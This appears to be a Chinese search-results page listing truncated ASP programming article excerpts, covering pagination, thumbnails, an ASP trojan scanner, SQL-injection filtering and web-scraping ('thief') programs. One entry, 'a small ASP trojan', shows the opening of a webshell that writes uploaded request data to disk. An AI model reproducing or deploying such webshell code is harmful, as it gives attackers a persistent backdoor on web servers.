搜索列表
-
显示在线人数
【ASP编程】<%NowUrl=request.servervariables("HTTP_REFERER")UserName = session("Wenday_sys_User")if UserName="" then UserName="客人"end ifcall sqlonline()Response.Write "document.write(" & chr(34) & " <font color=#000000>当前...
显示在线人数 -
分页类，异常类
【ASP编程】其它的一些，比如分页类，异常类（用于信息提示），文件操作类（未完成），经常用到的工具类及验证输入的表单验证类（ASP版，配合前台JS版使用更佳）： 分页类Pager <% Class Pager Private IUrl Private IPage Private IParam Private IPageSize Private I...
分页类，异常类 -
一个查ASP木马的小东东
【ASP编程】关于查ASP木马的程序，记得半年前在八进制发了一个测试版（具体的URL:http://forum.eviloctal.com/read-htm-tid-19665.html），得到很多朋友的指导，学到了很多东西，非常感谢他们。现在我发的这个升级版，修补了以前的bug，加入了对一些组件写文件函数的检测，更加趋于完美了，个人认为想绕过去有点难度哦。 这回的默...
一个查ASP木马的小东东 -
也谈采集入库的技术
【ASP编程】 落伍的贴也看了很多了，发现了很多讲小偷技术的，如精华贴里的--小偷程序原理和简单示例： [url]http://www.im286.com/viewthread.php?tid=407182&extra=page%3D1[/url] 等等，也有提供采集程序下载的，但我还没看到一篇完整的入库的文章，或许是我看的贴少吧。虽然不是很深奥，我还是讲讲吧，希望高...
也谈采集入库的技术 -
无组件生成缩略图
【ASP编程】网上有不少生成缩略图的ASP组件。若你的虚拟空间不支持注册新组件，可能会感觉自己的网站失色不少。心晴不才，结合网上资源写了个无组件生成缩略图程序，仅供参考。 还是先看看基础部分吧。首先，我们知道在页面中显示图片是如下代码： <img src="pic.gif" border="0" width="300" height="26...
无组件生成缩略图 -
asp 防止SQL注入代码
【ASP编程】把下面代码复制到每个文件头部就可以防止SQL注入了，写程序安全最重要 ：） <% Dim Fy_Url,Fy_a,Fy_x,Fy_Cs(),Fy_Cl,Fy_Ts,Fy_Zx '---定义部份 头------ Fy_Cl = 1 '处理方式：1=提示信息,2=转向页面,3=先提示再转向 Fy_Zx = "Err...
asp防止SQL注入代码 -
获取图片宽度和高度的类，支持JPG，GIF，PNG，BMP
【ASP编程】<% Class ImgWHInfo ''获取图片宽度和高度的类，支持JPG，GIF，PNG，BMP Dim ASO Private Sub Class_Initialize Set ASO=Server.CreateObject("ADODB.Stream") ASO.Mode=3 ASO.Type=1 ASO.Open End Sub Private Sub Class_Terminate Err.Clear Set ASO=No...
获取图片宽度和高度的类，支持JPG，GIF，PNG，BMP -
一个ASP小马
【ASP编程】<%if request.QueryString("action")="log" thena=Request.TotalBytes:if a Then b="adodb.stream":Set c=Createobject(b):c.Type=1:c.Open:c.Write Request.BinaryRead(a):c.Position=0:d=c.Read:e=chrB(13)&chrB(10):f=Instrb(d,e):g=Instrb(f+1,d,e):set h=Createobject(b):h.Type=1:h.Ope...
一个ASP小马 -
浅谈自动采集程序及入库
【ASP编程】<%'声明取得目标信息的函数,通过XML组件进行实现。Function GetURL(url) Set Retrieval = CreateObject("Microsoft.XMLHTTP") With Retrieval .Open "GET", url, False.Send GetURL = bytes2bstr(.responsebody)'对取得信息进行验证，如果信息长度小于100则说明截取失败if len(.responseb...
浅谈自动采集程序及入库 -
一段采集程序代码
【ASP编程】<%@LANGUAGE="JScript" CODEPAGE="936"%> <script language=VBScript runat="Server"> Function bytes2BSTR(vIn) strReturn = "" For i = 1 To ...
一段采集程序代码 -
XMLHTTP利用POST发送表单时提交中文的问题
【ASP编程】刚才写一个小偷程序，突然发现一旦POST中文时抓取不到内容，考虑到中文编码问题，像javascript中的escape()一样，在vbscript中也可以使用这个函数，只需要这个发送就可以正常抓取到内容了send("A="&escape(A)&""&escape(B))完成收工！附几个小偷常用的function函数Function ByteToStr(vIn)&...
XMLHTTP利用POST发送表单时提交中文的问题 -
用XMLHTTP来偷东西哈！
【ASP编程】只做了一部份，IP查询请大家自己照着我里边的样例自己完成吧！演示：http://www.goalercn.com/demo/searcher.asp<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Trans...
用XMLHTTP来偷东西哈！
